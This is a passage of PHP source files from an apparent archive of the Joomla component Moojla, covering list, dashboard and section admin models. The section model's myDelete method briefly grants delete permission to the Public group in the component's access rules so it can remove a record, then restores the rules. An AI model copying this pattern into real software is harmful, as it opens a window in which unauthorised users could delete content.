use Joomla\Utilities\ArrayHelper;

/**
 * Modules Model
 */
class MoojlaModelModules extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.module_section_id','module_section_id',
				'a.modname','modname',
				'a.name','name'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$module_section_id = $this->getUserStateFromRequest($this->context
. '.filter.module_section_id',
'filter_module_section_id');
		if ($formSubmited)
		{
			$module_section_id =
$app->input->post->get('module_section_id');
			$this->setState('filter.module_section_id',
$module_section_id);
		}

		$modname = $this->getUserStateFromRequest($this->context .
'.filter.modname', 'filter_modname');
		if ($formSubmited)
		{
			$modname = $app->input->post->get('modname');
			$this->setState('filter.modname', $modname);
		}

		$name = $this->getUserStateFromRequest($this->context .
'.filter.name', 'filter_name');
		if ($formSubmited)
		{
			$name = $app->input->post->get('name');
			$this->setState('filter.name', $name);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();
        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_module',
'a'));

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.name LIKE '.$search.')');
			}
		}

		// Filter by Module_section_id.
		$_module_section_id =
$this->getState('filter.module_section_id');
		if (is_numeric($_module_section_id))
		{
			if (is_float($_module_section_id))
			{
				$query->where('a.module_section_id = ' . (float)
$_module_section_id);
			}
			else
			{
				$query->where('a.module_section_id = ' . (int)
$_module_section_id);
			}
		}
		elseif (MoojlaHelper::checkString($_module_section_id))
		{
			$query->where('a.module_section_id = ' .
$db->quote($db->escape($_module_section_id)));
		}
		// Filter by Modname.
		$_modname = $this->getState('filter.modname');
		if (is_numeric($_modname))
		{
			if (is_float($_modname))
			{
				$query->where('a.modname = ' . (float) $_modname);
			}
			else
			{
				$query->where('a.modname = ' . (int) $_modname);
			}
		}
		elseif (MoojlaHelper::checkString($_modname))
		{
			$query->where('a.modname = ' .
$db->quote($db->escape($_modname)));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' .
$this->getState('filter.module_section_id');
		$id .= ':' . $this->getState('filter.modname');
		$id .= ':' . $this->getState('filter.name');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_module'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_module'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/moojla.php000064400000022227151165724400010033 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moojla.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla Model
 */
class MoojlaModelMoojla extends JModelList
{
	public function getIcons()
	{
		// load user for access menus
		$user = JFactory::getUser();
		// reset icon array
		$icons  = array();
		// view groups array
		$viewGroups = array(
			'main' => array('png.courses',
'png.courses.catid_qpo0O0oqp_com_moojla_po0O0oq_course',
'png.course_fields_mapper', 'png.user_maps',
'png.user_fields_map', 'png.course_group_maps',
'png.enrolments', 'png.tags',
'png.tag_instances', 'png.healthcheck',
'png.cohorts', 'png.languagetranslation')
		);
		// view access array
		$viewAccess = array(
			'healthcheck.submenu' => 'healthcheck.submenu',
			'healthcheck.dashboard_list' =>
'healthcheck.dashboard_list',
			'languagetranslation.submenu' =>
'languagetranslation.submenu',
			'languagetranslation.dashboard_list' =>
'languagetranslation.dashboard_list',
			'courses.access' => 'course.access',
			'course.access' => 'course.access',
			'course.create' => 'course.create',
			'courses.submenu' => 'course.submenu',
			'courses.dashboard_list' =>
'course.dashboard_list',
			'course_fields_mapper.access' =>
'course_field_mapper.access',
			'course_field_mapper.access' =>
'course_field_mapper.access',
			'course_fields_mapper.submenu' =>
'course_field_mapper.submenu',
			'course_fields_mapper.dashboard_list' =>
'course_field_mapper.dashboard_list',
			'user_maps.submenu' => 'user_map.submenu',
			'user_maps.dashboard_list' =>
'user_map.dashboard_list',
			'user_fields_map.submenu' =>
'user_field_map.submenu',
			'user_fields_map.dashboard_list' =>
'user_field_map.dashboard_list',
			'course_group_maps.submenu' =>
'course_group_map.submenu',
			'course_group_maps.dashboard_list' =>
'course_group_map.dashboard_list',
			'enrolments.submenu' => 'enrolment.submenu',
			'enrolments.dashboard_list' =>
'enrolment.dashboard_list',
			'tags.access' => 'tag.access',
			'tag.access' => 'tag.access',
			'tags.submenu' => 'tag.submenu',
			'tags.dashboard_list' => 'tag.dashboard_list',
			'tag_instances.access' => 'tag_instance.access',
			'tag_instance.access' => 'tag_instance.access',
			'tag_instances.submenu' =>
'tag_instance.submenu',
			'tag_instances.dashboard_list' =>
'tag_instance.dashboard_list',
			'cohorts.submenu' => 'cohort.submenu',
			'cohorts.dashboard_list' =>
'cohort.dashboard_list');
		// loop over the $views
		foreach($viewGroups as $group => $views)
		{
			$i = 0;
			if (MoojlaHelper::checkArray($views))
			{
				foreach($views as $view)
				{
					$add = false;
					// external views (links)
					if (strpos($view,'||') !== false)
					{
						$dwd = explode('||', $view);
						if (count($dwd) == 3)
						{
							list($type, $name, $url) = $dwd;
							$viewName 	= $name;
							$alt 		= $name;
							$url 		= $url;
							$image 		= $name . '.' . $type;
							$name 		= 'COM_MOOJLA_DASHBOARD_' .
MoojlaHelper::safeString($name,'U');
						}
					}
					// internal views
					elseif (strpos($view,'.') !== false)
					{
						$dwd = explode('.', $view);
						if (count($dwd) == 3)
						{
							list($type, $name, $action) = $dwd;
						}
						elseif (count($dwd) == 2)
						{
							list($type, $name) = $dwd;
							$action = false;
						}
						if ($action)
						{
							$viewName = $name;
							switch($action)
							{
								case 'add':
									$url	= 'index.php?option=com_moojla&view=' . $name .
'&layout=edit';
									$image	= $name . '_' . $action.  '.' . $type;
									$alt	= $name . '&nbsp;' . $action;
									$name	=
'COM_MOOJLA_DASHBOARD_'.MoojlaHelper::safeString($name,'U').'_ADD';
									$add	= true;
								break;
								default:
									// check for new convention (more stable)
									if (strpos($action, '_qpo0O0oqp_') !== false)
									{
										list($action, $extension) = (array)
explode('_qpo0O0oqp_', $action);
										$extension = str_replace('_po0O0oq_', '.',
$extension);
									}
									else
									{
										$extension = 'com_moojla.' . $name;
									}
									$url	=
'index.php?option=com_categories&view=categories&extension='
. $extension;
									$image	= $name . '_' . $action . '.' . $type;
									$alt	= $viewName . '&nbsp;' . $action;
									$name	= 'COM_MOOJLA_DASHBOARD_' .
MoojlaHelper::safeString($name,'U') . '_' .
MoojlaHelper::safeString($action,'U');
								break;
							}
						}
						else
						{
							$viewName 	= $name;
							$alt 		= $name;
							$url 		= 'index.php?option=com_moojla&view=' . $name;
							$image 		= $name . '.' . $type;
							$name 		= 'COM_MOOJLA_DASHBOARD_' .
MoojlaHelper::safeString($name,'U');
							$hover		= false;
						}
					}
					else
					{
						$viewName 	= $view;
						$alt 		= $view;
						$url 		= 'index.php?option=com_moojla&view=' . $view;
						$image 		= $view . '.png';
						$name 		= ucwords($view).'<br /><br />';
						$hover		= false;
					}
					// first make sure the view access is set
					if (MoojlaHelper::checkArray($viewAccess))
					{
						// setup some defaults
						$dashboard_add = false;
						$dashboard_list = false;
						$accessTo = '';
						$accessAdd = '';
						// access checking start
						$accessCreate = (isset($viewAccess[$viewName.'.create'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.create']):false;
						$accessAccess = (isset($viewAccess[$viewName.'.access'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.access']):false;
						// set main controllers
						$accessDashboard_add =
(isset($viewAccess[$viewName.'.dashboard_add'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.dashboard_add']):false;
						$accessDashboard_list =
(isset($viewAccess[$viewName.'.dashboard_list'])) ?
MoojlaHelper::checkString($viewAccess[$viewName.'.dashboard_list']):false;
						// check for adding access
						if ($add && $accessCreate)
						{
							$accessAdd = $viewAccess[$viewName.'.create'];
						}
						elseif ($add)
						{
							$accessAdd = 'core.create';
						}
						// check if access to view is set
						if ($accessAccess)
						{
							$accessTo = $viewAccess[$viewName.'.access'];
						}
						// set main access controllers
						if ($accessDashboard_add)
						{
							$dashboard_add	=
$user->authorise($viewAccess[$viewName.'.dashboard_add'],
'com_moojla');
						}
						if ($accessDashboard_list)
						{
							$dashboard_list =
$user->authorise($viewAccess[$viewName.'.dashboard_list'],
'com_moojla');
						}
						if (MoojlaHelper::checkString($accessAdd) &&
MoojlaHelper::checkString($accessTo))
						{
							// check access
							if($user->authorise($accessAdd, 'com_moojla')
&& $user->authorise($accessTo, 'com_moojla')
&& $dashboard_add)
							{
								$icons[$group][$i]			= new StdClass;
								$icons[$group][$i]->url 	= $url;
								$icons[$group][$i]->name 	= $name;
								$icons[$group][$i]->image 	= $image;
								$icons[$group][$i]->alt 	= $alt;
							}
						}
						elseif (MoojlaHelper::checkString($accessTo))
						{
							// check access
							if($user->authorise($accessTo, 'com_moojla') &&
$dashboard_list)
							{
								$icons[$group][$i]			= new StdClass;
								$icons[$group][$i]->url 	= $url;
								$icons[$group][$i]->name 	= $name;
								$icons[$group][$i]->image 	= $image;
								$icons[$group][$i]->alt 	= $alt;
							}
						}
						elseif (MoojlaHelper::checkString($accessAdd))
						{
							// check access
							if($user->authorise($accessAdd, 'com_moojla')
&& $dashboard_add)
							{
								$icons[$group][$i]			= new StdClass;
								$icons[$group][$i]->url 	= $url;
								$icons[$group][$i]->name 	= $name;
								$icons[$group][$i]->image 	= $image;
								$icons[$group][$i]->alt 	= $alt;
							}
						}
						else
						{
							$icons[$group][$i]			= new StdClass;
							$icons[$group][$i]->url 	= $url;
							$icons[$group][$i]->name 	= $name;
							$icons[$group][$i]->image 	= $image;
							$icons[$group][$i]->alt 	= $alt;
						}
					}
					else
					{
						$icons[$group][$i]			= new StdClass;
						$icons[$group][$i]->url 	= $url;
						$icons[$group][$i]->name 	= $name;
						$icons[$group][$i]->image 	= $image;
						$icons[$group][$i]->alt 	= $alt;
					}
					$i++;
				}
			}
			else
			{
					$icons[$group][$i] = false;
			}
		}
		return $icons;
	}
}
models/rules/index.html000064400000000054151165724400011162
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/section.php000064400000055215151165724400010221
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		section.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Section Model
 */
class MoojlaModelSection extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'courseid',
				'section_id',
				'name',
				'visible',
				'uservisible',
				'summary'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.section';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'section', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}


/***[JCBGUI.admin_view.php_model.131.$$$$]***/
  public function myDelete($pk){
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('rules',
'id')));
    $query->from($db->quoteName('#__assets'));
    $query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
    $db->setQuery($query);
    $results = $db->loadObjectList();

    $acls = json_decode($results[0]->rules);

    $deleteAcl = null;
    $permission = 'core.delete';
    if(!property_exists($acls, $permission))
    {
      $acls->$permission = new stdClass();
    }

    $pub = '1';

    $acls->$permission->$pub = 1;
    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = json_encode($acls);
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    $obj = new stdClass();
    $obj->id = $pk;
    $obj->published = -2;
    JFactory::getDbo()->updateObject('#__moojla_section',
$obj, 'id'); // trash item

    $pks = array($pk);
    $res = $this->delete($pks);

    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = $results[0]->rules;
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    return $res;
  }/***[/JCBGUI$$$$]***/

    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.section',
'section', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.section.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/section.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.section.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.section.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.section.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_section'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.section.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.section', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return array('section_id');
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('section');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('section');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->section_id) &&
!is_numeric($this->table->section_id))
			{
				$this->table->section_id =
$this->generateUnique('section_id',$this->table->section_id);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
